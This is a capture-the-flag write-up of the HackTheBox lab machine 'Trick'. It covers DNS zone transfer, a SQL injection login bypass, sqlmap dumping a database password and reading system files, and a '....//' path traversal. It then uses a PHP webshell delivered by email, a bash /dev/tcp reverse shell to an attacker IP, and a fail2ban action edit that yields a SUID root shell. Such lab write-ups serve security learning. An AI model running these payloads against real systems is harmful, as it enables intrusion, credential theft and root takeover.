Trick

Jacek Cytera

Contents

Recon

Let's start with usual all-tcp scan:

```
> nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.166
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
```

Detailed scan:

```
> nmap -p 22,25,53,80 -sVC --min-rate 10000 -oA scans/nmap-tcpdetail 10.10.11.166
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 61ff293b36bd9dacfbde1f56884cae2d (RSA)
|   256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA)
|_  256 7293f91158de34ad12b54b4a7364b970 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
    ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

As we can see, on port 53 there is a domain server. Let's dig around.

```
> dig +noall +answer @10.10.11.166 trick.htb
trick.htb.      604800  IN  A   127.0.0.1
```

Reverse lookup:

```
> dig +noall +answer @10.10.11.166 -x 10.10.11.166
166.11.10.10.in-addr.arpa. 604800 IN    PTR trick.htb.
```

Zone transfer lookup:

```
> dig +noall +answer @10.10.11.166 -x 10.10.11.166
166.11.10.10.in-addr.arpa. 604800 IN    PTR trick.htb.
(13-05-2023 16:15) > dig +noall +answer @10.10.11.166 axfr trick.htb
trick.htb.      604800  IN  SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.      604800  IN  NS  trick.htb.
trick.htb.      604800  IN  A   127.0.0.1
trick.htb.      604800  IN  AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.      604800  IN  SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
```

We found preprod-payroll.trick.htb virtual host!

After visiting it, we see login page. We can login with:

```
username: admin' or '1' = '1'#
password: admin
```

Which is textbook sql injection auth bypass. This isn't everything that can be done using this vulnerability. We can see in response, that when instead of '1' = '1' we insert something false, it returns 3, and if it's true it returns 1.

This is known as boolean injection and it allows us to extract information from database via brute-forcing. The tool for that is sqlmap. We copy a request we used to bypass auth from burp and use it with sqlmap.

Injection type detection with sqlmap:

```
> sqlmap -r login.req --batch

sqlmap identified the following injection point(s) with a total of 210 HTTP(s) requests:
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 1451 FROM (SELECT(SLEEP(5)))Idvf) AND 'HRsz'='HRsz&password=admin
---
```

SQLmap identified time-based blind injection, but since we know that boolean-based one exists (and time-based is more time-consuming to exploit) we will specify the techique we want to use:

```
> sqlmap -r login.req --batch --technique B --level 5

sqlmap identified the following injection point(s) with a total of 138 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: username=admin' AND 6183=(SELECT (CASE WHEN (6183=6183) THEN 6183 ELSE
    (SELECT 5981 UNION SELECT 4511) END))-- -&password=admin
---
```

And sure enough, it found the vulnerability we knew about. If it doesn't try increasing level until it does.

Now we can use sqlmap to gather various information from db. Current user:

```
> sqlmap -r login.req --batch --threads 10 --current-user

remo@localhost
```

Databases:

```
> sqlmap -r login.req --batch --threads 10 --dbs

[*] information_schema
[*] payroll_db
```

Tables of the database:

```
> sqlmap -r login.req --batch --threads 10 -D payroll_db --tables

+---------------------+
| position            |
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| users               |
+---------------------+
```

Dump specified table:

```
> sqlmap -r login.req --batch --threads 10(15-05-2023 17:40)
> sqlmap -r login.req --batch --threads 10 -D payroll_db -T users --dump

+----+-----------+---------------+------+----------------------+------------+
| id | doctor_id | name          | type | password             | username   |
+----+-----------+---------------+------+----------------------+------------+
| 1  | 0         | Administrator | 1    | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+------+----------------------+------------+
```

We were able to sucessfuly retrieve username and password of admin user.

We can also read files with sqlmap. Passwd file read:

```
> sqlmap -r login.req --batch --threads 10 --file-read=/etc/passwd
> cd /home/xxx/.local/share/sqlmap/output/preprod-payroll.trick.htb
> cat _etc_passwd | grep sh

root:x:0:0:root:/root:/bin/bash
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
```

We will use this to read nginx configuration file:

```
> sqlmap -r login.req --batch --threads 10 --file-read=/etc/nginx/sites-enabled/default
> cat /home/jayjaysea/.local/share/sqlmap/output/\
    preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default

server {
    listen 80 default_server;
    listen [::]:80 default_server;
    server_name trick.htb;
    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name _;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    }
}


server {
    listen 80;
    listen [::]:80;

    server_name preprod-marketing.trick.htb;

    root /var/www/market;
    index index.php;
```

```
  location / {
    try_files $uri $uri/ =404;
  }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
    }
}

server {
    listen 80;
    listen [::]:80;

    server_name preprod-payroll.trick.htb;

    root /var/www/payroll;
    index index.php;

    location / {
        try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    }
}
```

Shell as michael

On the new site we discovered (marketing), initially, there isn't anything interesting. We will first read it's source code using file read from sql injection, and search for some way in. We got absolute path to app from nginx config:

```
sqlmap -r login.req --batch --threads 10 --file-read=/var/www/market/index.php
```

Read file:

```
<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
 include("/var/www/market/home.html");
}
else{
  include("/var/www/market/".str_replace("../","",$file));
}
?>
```

As we can see, there is a “security measure” in place, that replaces every “../” string with ““. This can be easily bypassed, by using”....//” instead to go back in file hierarchy. This would count as arbitrary file read, but since this server executes .php files, if we manage to upload our own .php file, it will turn into remote code execution.

Now back to the nmap scan, we can see that there is smtp server running on our target. We can use it to “send email” (php revshell) to user michael.

First, we will test if we can really do that. We check if user michael exists for this smtp server:

```
> telnet 10.10.11.166 25
```

```
VRFY michael
220 debian.localdomain ESMTP Postfix (Debian/GNU)
252 2.0.0 michael
VRFY xdddd
550 5.1.1 <xdddd>: Recipient address rejected: User unknown in local recipient table
```

As we can see, user michael indeed exists. Now we can send test email (it should be saved in /var/mail/)

```
swaks --to michael --from xkali \
      --header "Subject: Testing" \
      --body "ignore me" \
      --server 10.10.11.166
```

Now, if we enter following url, we can read the email we just sent:

```
http://preprod-marketing.trick.htb/index.php?page=....//....//....//var/mail/michael
```

Now that we confirmed that we can send and read files, we can send php code inside an email, that should execute when read via url.

Let's send simple webshell:

```
swaks --to michael --from xkali \
      --header "Subject: Testing" \
      --body '<?php system($_REQUEST["cmd"]); ?>' \
      --server 10.10.11.166
```

We can test it by:

```
...SNIP... ?page=....//....//....//var/mail/michael?cmd=id
```

Since on this server messages are deleted (or moved) every two minutes, we need to run reverse shell from our webshell:

```
bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/12345 <&1'
```

URL encoded:

```
bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F10.10.14.12%2F12345%20%3C%261%27
```

Shell as root

We can see that michael can restart fail2ban as root:

```
sudo -l

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
```

Also, he belongs to security group:

```
michael security
```

Which can change fail2ban config on this particular system:

```
> find / -group security 2>/dev/null
/etc/fail2ban/action.d

> ls -ld /etc/fail2ban/action.d/
drwxrwx--- 2 root security 4096 May 26 18:48 /etc/fail2ban/action.d/
```

Let's test if fail2ban works:

```
> hydra -l john.doe -P /usr/share/wordlists/rockyou.txt trick.htb ssh -v -I
[INFO] Testing if password authentication is supported by ssh://john.doe@10.10.11.166:22
[INFO] Successful, password authentication is supported by ssh://10.10.11.166:22
```

```
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[ERROR] ssh protocol error
```

As we can see, we got blocked while trying to bruteforce ssh.

Now, since we have both the means of restarting fail2ban as root and changing it's configuration, we have a chance to escalate privileges.

First, let's understand fail2ban configuration. There's three parts to a fail2ban configuration: - A filter defines the patterns to look for in a given log file.
- An action defines something that can happen (like an iptables rule being put in place).
- A jail connects a filter to an action.

We will look at jail configuration first:

```
[DEFAULT]
...SNIP...
banaction = iptables-multiport
banaction_allports = iptables-allports
...SNIP...
```

As we can see, when banning happens, iptables-multiport is called. Let's see it's configuration:

```
# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
```

What we are looking at is command that will run each time ban occurs. It will be run as a root, in this case. We will change it to:

```
actionban = cp /bin/bash /tmp/jjs; chmod 4777 /tmp/jjs
```

This way we will get a root shell waiting for us in /tmp/jjs each time some user gets banned.

We restart fail2ban:

```
sudo /etc/init.d/fail2ban restart
```

We try to bruteforce ssh from our machine:

```
hydra -l john.doe -P /usr/share/wordlists/rockyou.txt trick.htb ssh -v -I
```

And finally, when jjs file appears in tmp, we obtain root shell:

```
/tmp/jjs -p
jjs-5.0# whoami
root
```